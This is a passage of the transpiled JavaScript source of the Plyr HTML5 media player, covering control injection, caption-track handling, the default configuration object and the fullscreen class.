wrapper.appendChild(popup);
container.appendChild(wrapper);
_this10.elements.settings.popup = popup;
_this10.elements.settings.menu = wrapper;
} // Picture in picture button
if (control === 'pip' && support.pip) {
container.appendChild(createButton.call(_this10, 'pip', defaultAttributes));
} // Airplay button
if (control === 'airplay' && support.airplay) {
container.appendChild(createButton.call(_this10, 'airplay', defaultAttributes));
} // Download button
if (control === 'download') {
var _attributes = extend({}, defaultAttributes, {
element: 'a',
href: _this10.download,
target: '_blank'
}); // Set download attribute for HTML5 only
if (_this10.isHTML5) {
_attributes.download = '';
}
var download = _this10.config.urls.download;
if (!is$1.url(download) && _this10.isEmbed) {
extend(_attributes, {
icon: "logo-".concat(_this10.provider),
label: _this10.provider
});
}
container.appendChild(createButton.call(_this10, 'download', _attributes));
} // Toggle fullscreen button
if (control === 'fullscreen') {
container.appendChild(createButton.call(_this10, 'fullscreen', defaultAttributes));
}
}); // Set available quality levels
if (this.isHTML5) {
setQualityMenu.call(this, html5.getQualityOptions.call(this));
}
setSpeedMenu.call(this);
return container;
},
// Insert controls
inject: function inject() {
var _this11 = this;
// Sprite
if (this.config.loadSprite) {
var icon = controls.getIconUrl.call(this); // Only load external sprite using AJAX
if (icon.cors) {
loadSprite(icon.url, 'sprite-plyr');
}
} // Create a unique ID
this.id = Math.floor(Math.random() * 10000); // Null by default
var container = null;
this.elements.controls = null; // Set template properties
var props = {
id: this.id,
seektime: this.config.seekTime,
title: this.config.title
};
var update = true; // If function, run it and use output
if (is$1.function(this.config.controls)) {
this.config.controls = this.config.controls.call(this, props);
} // Convert falsy controls to empty array (primarily for empty strings)
if (!this.config.controls) {
this.config.controls = [];
}
if (is$1.element(this.config.controls) || is$1.string(this.config.controls)) {
// HTMLElement or Non-empty string passed as the option
container = this.config.controls;
} else {
// Create controls
container = controls.create.call(this, {
id: this.id,
seektime: this.config.seekTime,
speed: this.speed,
quality: this.quality,
captions: captions.getLabel.call(this) // TODO: Looping
// loop: 'None',
});
update = false;
} // Replace props with their value
var replace = function replace(input) {
var result = input;
Object.entries(props).forEach(function (_ref2) {
var _ref3 = _slicedToArray(_ref2, 2),
key = _ref3[0],
value = _ref3[1];
result = replaceAll(result, "{".concat(key, "}"), value);
});
return result;
}; // Update markup
if (update) {
if (is$1.string(this.config.controls)) {
container = replace(container);
}
} // Controls container
var target; // Inject to custom location
if (is$1.string(this.config.selectors.controls.container)) {
target = document.querySelector(this.config.selectors.controls.container);
} // Inject into the container by default
if (!is$1.element(target)) {
target = this.elements.container;
} // Inject controls HTML (needs to be before captions, hence "afterbegin")
var insertMethod = is$1.element(container) ? 'insertAdjacentElement' : 'insertAdjacentHTML';
target[insertMethod]('afterbegin', container); // Find the elements if need be
if (!is$1.element(this.elements.controls)) {
controls.findElements.call(this);
} // Add pressed property to buttons
if (!is$1.empty(this.elements.buttons)) {
var addProperty = function addProperty(button) {
var className = _this11.config.classNames.controlPressed;
Object.defineProperty(button, 'pressed', {
enumerable: true,
get: function get() {
return hasClass(button, className);
},
set: function set() {
var pressed = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
toggleClass(button, className, pressed);
}
});
}; // Toggle classname when pressed property is set
Object.values(this.elements.buttons).filter(Boolean).forEach(function (button) {
if (is$1.array(button) || is$1.nodeList(button)) {
Array.from(button).filter(Boolean).forEach(addProperty);
} else {
addProperty(button);
}
});
} // Edge sometimes doesn't finish the paint so force a repaint
if (browser.isEdge) {
repaint(target);
} // Setup tooltips
if (this.config.tooltips.controls) {
var _this$config = this.config,
classNames = _this$config.classNames,
selectors = _this$config.selectors;
var selector = "".concat(selectors.controls.wrapper, " ").concat(selectors.labels, " .").concat(classNames.hidden);
var labels = getElements.call(this, selector);
Array.from(labels).forEach(function (label) {
toggleClass(label, _this11.config.classNames.hidden, false);
toggleClass(label, _this11.config.classNames.tooltip, true);
});
}
}
};
/**
* Parse a string to a URL object
* @param {String} input - the URL to be parsed
* @param {Boolean} safe - failsafe parsing
*/
function parseUrl(input) {
var safe = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true;
var url = input;
if (safe) {
var parser = document.createElement('a');
parser.href = url;
url = parser.href;
}
try {
return new URL(url);
} catch (e) {
return null;
}
} // Convert object to URLSearchParams
function buildUrlParams(input) {
var params = new URLSearchParams();
if (is$1.object(input)) {
Object.entries(input).forEach(function (_ref) {
var _ref2 = _slicedToArray(_ref, 2),
key = _ref2[0],
value = _ref2[1];
params.set(key, value);
});
}
return params;
}
var captions = {
// Setup captions
setup: function setup() {
// Requires UI support
if (!this.supported.ui) {
return;
} // Only Vimeo and HTML5 video supported at this point
if (!this.isVideo || this.isYouTube || this.isHTML5 && !support.textTracks) {
// Clear menu and hide
if (is$1.array(this.config.controls) && this.config.controls.includes('settings') && this.config.settings.includes('captions')) {
controls.setCaptionsMenu.call(this);
}
return;
} // Inject the container
if (!is$1.element(this.elements.captions)) {
this.elements.captions = createElement('div', getAttributesFromSelector(this.config.selectors.captions));
insertAfter(this.elements.captions, this.elements.wrapper);
} // Fix IE captions if CORS is used
// Fetch captions and inject as blobs instead (data URIs not supported!)
if (browser.isIE && window.URL) {
var elements = this.media.querySelectorAll('track');
Array.from(elements).forEach(function (track) {
var src = track.getAttribute('src');
var url = parseUrl(src);
if (url !== null && url.hostname !== window.location.href.hostname && ['http:', 'https:'].includes(url.protocol)) {
fetch(src, 'blob').then(function (blob) {
track.setAttribute('src', window.URL.createObjectURL(blob));
}).catch(function () {
removeElement(track);
});
}
});
} // Get and set initial data
// The "preferred" options are not realized unless / until the wanted language has a match
// * languages: Array of user's browser languages.
// * language: The language preferred by user settings or config
// * active: The state preferred by user settings or config
// * toggled: The real captions state
var browserLanguages = navigator.languages || [navigator.language || navigator.userLanguage || 'en'];
var languages = dedupe(browserLanguages.map(function (language) {
return language.split('-')[0];
}));
var language = (this.storage.get('language') || this.config.captions.language || 'auto').toLowerCase(); // Use first browser language when language is 'auto'
if (language === 'auto') {
var _languages = _slicedToArray(languages, 1);
language = _languages[0];
}
var active = this.storage.get('captions');
if (!is$1.boolean(active)) {
active = this.config.captions.active;
}
Object.assign(this.captions, {
toggled: false,
active: active,
language: language,
languages: languages
}); // Watch changes to textTracks and update captions menu
if (this.isHTML5) {
var trackEvents = this.config.captions.update ? 'addtrack removetrack' : 'removetrack';
on.call(this, this.media.textTracks, trackEvents, captions.update.bind(this));
} // Update available languages in list next tick (the event must not be triggered before the listeners)
setTimeout(captions.update.bind(this), 0);
},
// Update available language options in settings based on tracks
update: function update() {
var _this = this;
var tracks = captions.getTracks.call(this, true); // Get the wanted language
var _this$captions = this.captions,
active = _this$captions.active,
language = _this$captions.language,
meta = _this$captions.meta,
currentTrackNode = _this$captions.currentTrackNode;
var languageExists = Boolean(tracks.find(function (track) {
return track.language === language;
})); // Handle tracks (add event listener and "pseudo"-default)
if (this.isHTML5 && this.isVideo) {
tracks.filter(function (track) {
return !meta.get(track);
}).forEach(function (track) {
_this.debug.log('Track added', track); // Attempt to store if the original dom element was "default"
meta.set(track, {
default: track.mode === 'showing'
}); // Turn off native caption rendering to avoid double captions
// Note: mode='hidden' forces a track to download. To ensure every track
// isn't downloaded at once, only 'showing' tracks should be reassigned
// eslint-disable-next-line no-param-reassign
if (track.mode === 'showing') {
// eslint-disable-next-line no-param-reassign
track.mode = 'hidden';
} // Add event listener for cue changes
on.call(_this, track, 'cuechange', function () {
return captions.updateCues.call(_this);
});
});
} // Update language first time it matches, or if the previous matching track was removed
if (languageExists && this.language !== language || !tracks.includes(currentTrackNode)) {
captions.setLanguage.call(this, language);
captions.toggle.call(this, active && languageExists);
} // Enable or disable captions based on track length
toggleClass(this.elements.container, this.config.classNames.captions.enabled, !is$1.empty(tracks)); // Update available languages in list
if (is$1.array(this.config.controls) && this.config.controls.includes('settings') && this.config.settings.includes('captions')) {
controls.setCaptionsMenu.call(this);
}
},
// Toggle captions display
// Used internally for the toggleCaptions method, with the passive option forced to false
toggle: function toggle(input) {
var _this2 = this;
var passive = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true;
// If there's no full support
if (!this.supported.ui) {
return;
}
var toggled = this.captions.toggled; // Current state
var activeClass = this.config.classNames.captions.active; // Get the next state
// If the method is called without parameter, toggle based on current value
var active = is$1.nullOrUndefined(input) ? !toggled : input; // Update state and trigger event
if (active !== toggled) {
// When passive, don't override user preferences
if (!passive) {
this.captions.active = active;
this.storage.set({
captions: active
});
} // Force language if the call isn't passive and there is no matching language to toggle to
if (!this.language && active && !passive) {
var tracks = captions.getTracks.call(this);
var track = captions.findTrack.call(this, [this.captions.language].concat(_toConsumableArray(this.captions.languages)), true); // Override user preferences to avoid switching languages if a matching track is added
this.captions.language = track.language; // Set caption, but don't store in localStorage as user preference
captions.set.call(this, tracks.indexOf(track));
return;
} // Toggle button if it's enabled
if (this.elements.buttons.captions) {
this.elements.buttons.captions.pressed = active;
} // Add class hook
toggleClass(this.elements.container, activeClass, active);
this.captions.toggled = active; // Update settings menu
controls.updateSetting.call(this, 'captions'); // Trigger event (not used internally)
triggerEvent.call(this, this.media, active ? 'captionsenabled' : 'captionsdisabled');
} // Wait for the call stack to clear before setting mode='hidden'
// on the active track - forcing the browser to download it
setTimeout(function () {
if (active && _this2.captions.toggled) {
_this2.captions.currentTrackNode.mode = 'hidden';
}
});
},
// Set captions by track index
// Used internally for the currentTrack setter with the passive option forced to false
set: function set(index) {
var passive = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true;
var tracks = captions.getTracks.call(this); // Disable captions if setting to -1
if (index === -1) {
captions.toggle.call(this, false, passive);
return;
}
if (!is$1.number(index)) {
this.debug.warn('Invalid caption argument', index);
return;
}
if (!(index in tracks)) {
this.debug.warn('Track not found', index);
return;
}
if (this.captions.currentTrack !== index) {
this.captions.currentTrack = index;
var track = tracks[index];
var _ref = track || {},
language = _ref.language; // Store reference to node for invalidation on remove
this.captions.currentTrackNode = track; // Update settings menu
controls.updateSetting.call(this, 'captions'); // When passive, don't override user preferences
if (!passive) {
this.captions.language = language;
this.storage.set({
language: language
});
} // Handle Vimeo captions
if (this.isVimeo) {
this.embed.enableTextTrack(language);
} // Trigger event
triggerEvent.call(this, this.media, 'languagechange');
} // Show captions
captions.toggle.call(this, true, passive);
if (this.isHTML5 && this.isVideo) {
// If we change the active track while a cue is already displayed we need to update it
captions.updateCues.call(this);
}
},
// Set captions by language
// Used internally for the language setter with the passive option forced to false
setLanguage: function setLanguage(input) {
var passive = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true;
if (!is$1.string(input)) {
this.debug.warn('Invalid language argument', input);
return;
} // Normalize
var language = input.toLowerCase();
this.captions.language = language; // Set currentTrack
var tracks = captions.getTracks.call(this);
var track = captions.findTrack.call(this, [language]);
captions.set.call(this, tracks.indexOf(track), passive);
},
// Get current valid caption tracks
// If update is false it will also ignore tracks without metadata
// This is used to "freeze" the language options when captions.update is false
getTracks: function getTracks() {
var _this3 = this;
var update = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
// Handle media or textTracks missing or null
var tracks = Array.from((this.media || {}).textTracks || []); // For HTML5, use cache instead of current tracks when it exists (if captions.update is false)
// Filter out removed tracks and tracks that aren't captions/subtitles (for example metadata)
return tracks.filter(function (track) {
return !_this3.isHTML5 || update || _this3.captions.meta.has(track);
}).filter(function (track) {
return ['captions', 'subtitles'].includes(track.kind);
});
},
// Match tracks based on languages and get the first
findTrack: function findTrack(languages) {
var _this4 = this;
var force = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
var tracks = captions.getTracks.call(this);
var sortIsDefault = function sortIsDefault(track) {
return Number((_this4.captions.meta.get(track) || {}).default);
};
var sorted = Array.from(tracks).sort(function (a, b) {
return sortIsDefault(b) - sortIsDefault(a);
});
var track;
languages.every(function (language) {
track = sorted.find(function (t) {
return t.language === language;
});
return !track; // Break iteration if there is a match
}); // If no match is found but is required, get first
return track || (force ? sorted[0] : undefined);
},
// Get the current track
getCurrentTrack: function getCurrentTrack() {
return captions.getTracks.call(this)[this.currentTrack];
},
// Get UI label for track
getLabel: function getLabel(track) {
var currentTrack = track;
if (!is$1.track(currentTrack) && support.textTracks && this.captions.toggled) {
currentTrack = captions.getCurrentTrack.call(this);
}
if (is$1.track(currentTrack)) {
if (!is$1.empty(currentTrack.label)) {
return currentTrack.label;
}
if (!is$1.empty(currentTrack.language)) {
return track.language.toUpperCase();
}
return i18n.get('enabled', this.config);
}
return i18n.get('disabled', this.config);
},
// Update captions using current track's active cues
// Also optional array argument in case there isn't any track (ex: vimeo)
updateCues: function updateCues(input) {
// Requires UI
if (!this.supported.ui) {
return;
}
if (!is$1.element(this.elements.captions)) {
this.debug.warn('No captions element to render to');
return;
} // Only accept array or empty input
if (!is$1.nullOrUndefined(input) && !Array.isArray(input)) {
this.debug.warn('updateCues: Invalid input', input);
return;
}
var cues = input; // Get cues from track
if (!cues) {
var track = captions.getCurrentTrack.call(this);
cues = Array.from((track || {}).activeCues || []).map(function (cue) {
return cue.getCueAsHTML();
}).map(getHTML);
} // Set new caption text
var content = cues.map(function (cueText) {
return cueText.trim();
}).join('\n');
var changed = content !== this.elements.captions.innerHTML;
if (changed) {
// Empty the container and create a new child element
emptyElement(this.elements.captions);
var caption = createElement('span', getAttributesFromSelector(this.config.selectors.caption));
caption.innerHTML = content;
this.elements.captions.appendChild(caption); // Trigger event
triggerEvent.call(this, this.media, 'cuechange');
}
}
};
// ==========================================================================
// Plyr default config
// ==========================================================================
var defaults$1 = {
// Disable
enabled: true,
// Custom media title
title: '',
// Logging to console
debug: false,
// Auto play (if supported)
autoplay: false,
// Only allow one media playing at once (vimeo only)
autopause: true,
// Allow inline playback on iOS (this effects YouTube/Vimeo - HTML5 requires the attribute present)
// TODO: Remove iosNative fullscreen option in favour of this (logic needs work)
playsinline: true,
// Default time to skip when rewind/fast forward
seekTime: 10,
// Default volume
volume: 1,
muted: false,
// Pass a custom duration
duration: null,
// Display the media duration on load in the current time position
// If you have opted to display both duration and currentTime, this is ignored
displayDuration: true,
// Invert the current time to be a countdown
invertTime: true,
// Clicking the currentTime inverts it's value to show time left rather than elapsed
toggleInvert: true,
// Force an aspect ratio
// The format must be `'w:h'` (e.g. `'16:9'`)
ratio: null,
// Click video container to play/pause
clickToPlay: true,
// Auto hide the controls
hideControls: true,
// Reset to start when playback ended
resetOnEnd: false,
// Disable the standard context menu
disableContextMenu: true,
// Sprite (for icons)
loadSprite: true,
iconPrefix: 'plyr',
iconUrl: 'https://cdn.plyr.io/3.6.4/plyr.svg',
// Blank video (used to prevent errors on source change)
blankVideo: 'https://cdn.plyr.io/static/blank.mp4',
// Quality default
quality: {
default: 576,
// The options to display in the UI, if available for the source media
options: [4320, 2880, 2160, 1440, 1080, 720, 576, 480, 360, 240],
forced: false,
onChange: null
},
// Set loops
loop: {
active: false // start: null,
// end: null,
},
// Speed default and options to display
speed: {
selected: 1,
// The options to display in the UI, if available for the source media (e.g. Vimeo and YouTube only support 0.5x-4x)
options: [0.5, 0.75, 1, 1.25, 1.5, 1.75, 2, 4]
},
// Keyboard shortcut settings
keyboard: {
focused: true,
global: false
},
// Display tooltips
tooltips: {
controls: false,
seek: true
},
// Captions settings
captions: {
active: false,
language: 'auto',
// Listen to new tracks added after Plyr is initialized.
// This is needed for streaming captions, but may result in unselectable options
update: false
},
// Fullscreen settings
fullscreen: {
enabled: true,
// Allow fullscreen?
fallback: true,
// Fallback using full viewport/window
iosNative: false // Use the native fullscreen in iOS (disables custom controls)
// Selector for the fullscreen container so contextual / non-player content can remain visible in fullscreen mode
// Non-ancestors of the player element will be ignored
// container: null, // defaults to the player element
},
// Local storage
storage: {
enabled: true,
key: 'plyr'
},
// Default controls
controls: ['play-large', // 'restart',
// 'rewind',
'play', // 'fast-forward',
'progress', 'current-time', // 'duration',
'mute', 'volume', 'captions', 'settings', 'pip', 'airplay', // 'download',
'fullscreen'],
settings: ['captions', 'quality', 'speed'],
// Localisation
i18n: {
restart: 'Restart',
rewind: 'Rewind {seektime}s',
play: 'Play',
pause: 'Pause',
fastForward: 'Forward {seektime}s',
seek: 'Seek',
seekLabel: '{currentTime} of {duration}',
played: 'Played',
buffered: 'Buffered',
currentTime: 'Current time',
duration: 'Duration',
volume: 'Volume',
mute: 'Mute',
unmute: 'Unmute',
enableCaptions: 'Enable captions',
disableCaptions: 'Disable captions',
download: 'Download',
enterFullscreen: 'Enter fullscreen',
exitFullscreen: 'Exit fullscreen',
frameTitle: 'Player for {title}',
captions: 'Captions',
settings: 'Settings',
pip: 'PIP',
menuBack: 'Go back to previous menu',
speed: 'Speed',
normal: 'Normal',
quality: 'Quality',
loop: 'Loop',
start: 'Start',
end: 'End',
all: 'All',
reset: 'Reset',
disabled: 'Disabled',
enabled: 'Enabled',
advertisement: 'Ad',
qualityBadge: {
2160: '4K',
1440: 'HD',
1080: 'HD',
720: 'HD',
576: 'SD',
480: 'SD'
}
},
// URLs
urls: {
download: null,
vimeo: {
sdk: 'https://player.vimeo.com/api/player.js',
iframe: 'https://player.vimeo.com/video/{0}?{1}',
api: 'https://vimeo.com/api/oembed.json?url={0}'
},
youtube: {
sdk: 'https://www.youtube.com/iframe_api',
api: 'https://noembed.com/embed?url=https://www.youtube.com/watch?v={0}'
},
googleIMA: {
sdk: 'https://imasdk.googleapis.com/js/sdkloader/ima3.js'
}
},
// Custom control listeners
listeners: {
seek: null,
play: null,
pause: null,
restart: null,
rewind: null,
fastForward: null,
mute: null,
volume: null,
captions: null,
download: null,
fullscreen: null,
pip: null,
airplay: null,
speed: null,
quality: null,
loop: null,
language: null
},
// Events to watch and bubble
events: [// Events to watch on HTML5 media elements and bubble
// https://developer.mozilla.org/en/docs/Web/Guide/Events/Media_events
'ended', 'progress', 'stalled', 'playing', 'waiting', 'canplay', 'canplaythrough', 'loadstart', 'loadeddata', 'loadedmetadata', 'timeupdate', 'volumechange', 'play', 'pause', 'error', 'seeking', 'seeked', 'emptied', 'ratechange', 'cuechange', // Custom events
'download', 'enterfullscreen', 'exitfullscreen', 'captionsenabled', 'captionsdisabled', 'languagechange', 'controlshidden', 'controlsshown', 'ready', // YouTube
'statechange', // Quality
'qualitychange', // Ads
'adsloaded', 'adscontentpause', 'adscontentresume', 'adstarted', 'adsmidpoint', 'adscomplete', 'adsallcomplete', 'adsimpression', 'adsclick'],
// Selectors
// Change these to match your template if using custom HTML
selectors: {
editable: 'input, textarea, select, [contenteditable]',
container: '.plyr',
controls: {
container: null,
wrapper: '.plyr__controls'
},
labels: '[data-plyr]',
buttons: {
play: '[data-plyr="play"]',
pause: '[data-plyr="pause"]',
restart: '[data-plyr="restart"]',
rewind: '[data-plyr="rewind"]',
fastForward: '[data-plyr="fast-forward"]',
mute: '[data-plyr="mute"]',
captions: '[data-plyr="captions"]',
download: '[data-plyr="download"]',
fullscreen: '[data-plyr="fullscreen"]',
pip: '[data-plyr="pip"]',
airplay: '[data-plyr="airplay"]',
settings: '[data-plyr="settings"]',
loop: '[data-plyr="loop"]'
},
inputs: {
seek: '[data-plyr="seek"]',
volume: '[data-plyr="volume"]',
speed: '[data-plyr="speed"]',
language: '[data-plyr="language"]',
quality: '[data-plyr="quality"]'
},
display: {
currentTime: '.plyr__time--current',
duration: '.plyr__time--duration',
buffer: '.plyr__progress__buffer',
loop: '.plyr__progress__loop',
// Used later
volume: '.plyr__volume--display'
},
progress: '.plyr__progress',
captions: '.plyr__captions',
caption: '.plyr__caption'
},
// Class hooks added to the player in different states
classNames: {
type: 'plyr--{0}',
provider: 'plyr--{0}',
video: 'plyr__video-wrapper',
embed: 'plyr__video-embed',
videoFixedRatio: 'plyr__video-wrapper--fixed-ratio',
embedContainer: 'plyr__video-embed__container',
poster: 'plyr__poster',
posterEnabled: 'plyr__poster-enabled',
ads: 'plyr__ads',
control: 'plyr__control',
controlPressed: 'plyr__control--pressed',
playing: 'plyr--playing',
paused: 'plyr--paused',
stopped: 'plyr--stopped',
loading: 'plyr--loading',
hover: 'plyr--hover',
tooltip: 'plyr__tooltip',
cues: 'plyr__cues',
hidden: 'plyr__sr-only',
hideControls: 'plyr--hide-controls',
isIos: 'plyr--is-ios',
isTouch: 'plyr--is-touch',
uiSupported: 'plyr--full-ui',
noTransition: 'plyr--no-transition',
display: {
time: 'plyr__time'
},
menu: {
value: 'plyr__menu__value',
badge: 'plyr__badge',
open: 'plyr--menu-open'
},
captions: {
enabled: 'plyr--captions-enabled',
active: 'plyr--captions-active'
},
fullscreen: {
enabled: 'plyr--fullscreen-enabled',
fallback: 'plyr--fullscreen-fallback'
},
pip: {
supported: 'plyr--pip-supported',
active: 'plyr--pip-active'
},
airplay: {
supported: 'plyr--airplay-supported',
active: 'plyr--airplay-active'
},
tabFocus: 'plyr__tab-focus',
previewThumbnails: {
// Tooltip thumbs
thumbContainer: 'plyr__preview-thumb',
thumbContainerShown: 'plyr__preview-thumb--is-shown',
imageContainer: 'plyr__preview-thumb__image-container',
timeContainer: 'plyr__preview-thumb__time-container',
// Scrubbing
scrubbingContainer: 'plyr__preview-scrubbing',
scrubbingContainerShown: 'plyr__preview-scrubbing--is-shown'
}
},
// Embed attributes
attributes: {
embed: {
provider: 'data-plyr-provider',
id: 'data-plyr-embed-id'
}
},
// Advertisements plugin
// Register for an account here: http://vi.ai/publisher-video-monetization/?aid=plyrio
ads: {
enabled: false,
publisherId: '',
tagUrl: ''
},
// Preview Thumbnails plugin
previewThumbnails: {
enabled: false,
src: ''
},
// Vimeo plugin
vimeo: {
byline: false,
portrait: false,
title: false,
speed: true,
transparent: false,
// Custom settings from Plyr
customControls: true,
referrerPolicy: null,
// https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/referrerPolicy
// Whether the owner of the video has a Pro or Business account
// (which allows us to properly hide controls without CSS hacks, etc)
premium: false
},
// YouTube plugin
youtube: {
rel: 0,
// No related vids
showinfo: 0,
// Hide info
iv_load_policy: 3,
// Hide annotations
modestbranding: 1,
// Hide logos as much as possible (they still show one in the corner when paused)
// Custom settings from Plyr
customControls: true,
noCookie: false // Whether to use an alternative version of YouTube without cookies
}
};
// ==========================================================================
// Plyr states
// ==========================================================================
var pip = {
active: 'picture-in-picture',
inactive: 'inline'
};
// ==========================================================================
// Plyr supported types and providers
// ==========================================================================
var providers = {
html5: 'html5',
youtube: 'youtube',
vimeo: 'vimeo'
};
var types = {
audio: 'audio',
video: 'video'
};
/**
* Get provider by URL
* @param {String} url
*/
function getProviderByUrl(url) {
// YouTube
if (/^(https?:\/\/)?(www\.)?(youtube\.com|youtube-nocookie\.com|youtu\.?be)\/.+$/.test(url)) {
return providers.youtube;
} // Vimeo
if (/^https?:\/\/player.vimeo.com\/video\/\d{0,9}(?=\b|\/)/.test(url)) {
return providers.vimeo;
}
return null;
}
// ==========================================================================
// Console wrapper
// ==========================================================================
var noop = function noop() {};
var Console = /*#__PURE__*/function () {
function Console() {
var enabled = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
_classCallCheck(this, Console);
this.enabled = window.console && enabled;
if (this.enabled) {
this.log('Debugging enabled');
}
}
_createClass(Console, [{
key: "log",
get: function get() {
// eslint-disable-next-line no-console
return this.enabled ? Function.prototype.bind.call(console.log, console) : noop;
}
}, {
key: "warn",
get: function get() {
// eslint-disable-next-line no-console
return this.enabled ? Function.prototype.bind.call(console.warn, console) : noop;
}
}, {
key: "error",
get: function get() {
// eslint-disable-next-line no-console
return this.enabled ? Function.prototype.bind.call(console.error, console) : noop;
}
}]);
return Console;
}();
var Fullscreen = /*#__PURE__*/function () {
function Fullscreen(player) {
var _this = this;
_classCallCheck(this, Fullscreen);
_defineProperty(this, "onChange", function () {
if (!_this.enabled) {
return;
} // Update toggle button
var button = _this.player.elements.buttons.fullscreen;
if (is$1.element(button)) {
button.pressed = _this.active;
} // Always trigger events on the plyr / media element (not a fullscreen container) and let them bubble up
var target = _this.target === _this.player.media ? _this.target : _this.player.elements.container; // Trigger an event
triggerEvent.call(_this.player, target, _this.active ? 'enterfullscreen' : 'exitfullscreen', true);
});
_defineProperty(this, "toggleFallback", function () {
var toggle = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
// Store or restore scroll position
if (toggle) {
_this.scrollPosition = {
x: window.scrollX || 0,
y: window.scrollY || 0
};
} else {
window.scrollTo(_this.scrollPosition.x, _this.scrollPosition.y);
} // Toggle scroll
document.body.style.overflow = toggle ? 'hidden' : ''; // Toggle class hook
toggleClass(_this.target, _this.player.config.classNames.fullscreen.fallback, toggle); // Force full viewport on iPhone X+
if (browser.isIos) {
var viewport = document.head.querySelector('meta[name="viewport"]');
var property = 'viewport-fit=cover'; // Inject the viewport meta if required
if (!viewport) {
viewport = document.createElement('meta');
viewport.setAttribute('name', 'viewport');
} // Check if the property already exists
var hasProperty = is$1.string(viewport.content) && viewport.content.includes(property);
if (toggle) {
_this.cleanupViewport = !hasProperty;
if (!hasProperty) {
viewport.content += ",".concat(property);
}
} else if (_this.cleanupViewport) {
viewport.content = viewport.content.split(',').filter(function (part) {
return part.trim() !== property;
}).join(',');
}
} // Toggle button and fire events
_this.onChange();
});
_defineProperty(this, "trapFocus", function (event) {
// Bail if iOS, not active, not the tab key
if (browser.isIos || !_this.active || event.key !== 'Tab' || event.keyCode !== 9) {
return;
} // Get the current focused element
var focused = document.activeElement;
var focusable = getElements.call(_this.player, 'a[href], button:not(:disabled), input:not(:disabled), [tabindex]');
var _focusable = _slicedToArray(focusable, 1),
first = _focusable[0];
var last = focusable[focusable.length - 1];
if (focused === last && !event.shiftKey) {
// Move focus to first element that can be tabbed if Shift isn't used
first.focus();
event.preventDefault();
} else if (focused === first && event.shiftKey) {
// Move focus to last element that can be tabbed if Shift is used
last.focus();
event.preventDefault();
}
});
_defineProperty(this, "update", function () {
if (_this.enabled) {
var mode;
if (_this.forceFallback) {
mode = 'Fallback (forced)';
} else if (Fullscreen.native) {
mode = 'Native';
} else {
mode = 'Fallback';
}
_this.player.debug.log("".concat(mode, " fullscreen enabled"));
} else {
_this.player.debug.log('Fullscreen not supported and fallback disabled');
} // Add styling hook to show button
toggleClass(_this.player.elements.container, _this.player.config.classNames.fullscreen.enabled, _this.enabled);
});
_defineProperty(this, "enter", function () {
if (!_this.enabled) {
return;
} // iOS native fullscreen doesn't need the request step
if (browser.isIos && _this.player.config.fullscreen.iosNative) {
if (_this.player.isVimeo) {
_this.player.embed.requestFullscreen();
} else {
_this.target.webkitEnterFullscreen();
}
} else if (!Fullscreen.native || _this.forceFallback) {
_this.toggleFallback(true);
} else if (!_this.prefix) {
_this.target.requestFullscreen({
navigationUI: 'hide'
});
} else if (!is$1.empty(_this.prefix)) {
_this.target["".concat(_this.prefix, "Request").concat(_this.property)]();
}
});
_defineProperty(this, "exit", function () {
if (!_this.enabled) {
return;
} // iOS native fullscreen
if (browser.isIos && _this.player.config.fullscreen.iosNative) {
_this.target.webkitExitFullscreen();
silencePromise(_this.player.play());
} else if (!Fullscreen.native || _this.forceFallback) {
_this.toggleFallback(false);
} else if (!_this.prefix) {
(document.cancelFullScreen || document.exitFullscreen).call(document);
} else if (!is$1.empty(_this.prefix)) {
var action = _this.prefix === 'moz' ? 'Cancel' : 'Exit';
document["".concat(_this.prefix).concat(action).concat(_this.property)]();
}
});
_defineProperty(this, "toggle", function () {
if (!_this.active) {
_this.enter();
} else {
_this.exit();
}
});
// Keep reference to parent
this.player = player; // Get prefix
this.prefix = Fullscreen.prefix;
this.property = Fullscreen.property; // Scroll position
this.scrollPosition = {
x: 0,
y: 0
}; // Force the use of 'full window/browser' rather than fullscreen
this.forceFallback = player.config.fullscreen.fallback === 'force'; // Get the fullscreen element
// Checks container is an ancestor, defaults to null
this.player.elements.fullscreen = player.config.fullscreen.container && closest(this.player.elements.container, player.config.fullscreen.container); // Register event listeners
// Handle event (incase user presses escape etc)
on.call(this.player, document, this.prefix === 'ms' ? 'MSFullscreenChange' : "".concat(this.prefix, "fullscreenchange"), function () {
// TODO: Filter for target??
_this.onChange();
}); // Fullscreen toggle on double click
on.call(this.player, this.player.elements.container, 'dblclick', function (event) {
// Ignore double click in controls
if (is$1.element(_this.player.elements.controls) && _this.player.elements.controls.contains(event.target)) {
return;
}
_this.player.listeners.proxy(event, _this.toggle, 'fullscreen');
}); // Tap focus when in fullscreen
on.call(this, this.player.elements.container, 'keydown', function (event) {
return _this.trapFocus(event);
}); // Update the UI
this.update(); // this.toggle = this.toggle.bind(this);
} // Determine if native supported
_createClass(Fullscreen, [{
key: "usingNative",
// If we're actually using native
get: function get() {
return Fullscreen.native && !this.forceFallback;
} // Get the prefix for handlers
}, {
key: "enabled",
// Determine if fullscreen is enabled
get: function get() {
return (Fullscreen.native || this.player.config.fullscreen.fallback) && this.player.config.fullscreen.enabled && this.player.supported.ui && this.player.isVideo;
} // Get active state
}, {
key: "active",
get: function get() {
if (!this.enabled) {
return false;
} // Fallback using classname
if (!Fullscreen.native || this.forceFallback) {
return hasClass(this.target, this.player.config.classNames.fullscreen.fallback);
}
var element = !this.prefix ? document.fullscreenElement : document["".concat(this.prefix).concat(this.property, "Element")];
return element && element.shadowRoot ? element === this.target.getRootNode().host : element === this.target;
} // Get target element
}, {
key: "target",
get: function get() {
return browser.isIos && this.player.config.fullscreen.iosNative ? this.player.media : this.player.elements.fullscreen || this.player.elements.container;
}
}], [{
key: "native",
get: function get() {
return !!(document.fullscreenEnabled || document.webkitFullscreenEnabled || document.mozFullScreenEnabled || document.msFullscreenEnabled);
}
}, {
key: "prefix",
get: function get() {
// No prefix
if (is$1.function(document.exitFullscreen)) {
return '';
} // Check for fullscreen support by vendor prefix
var value = '';
var prefixes = ['webkit', 'moz', 'ms'];
prefixes.some(function (pre) {
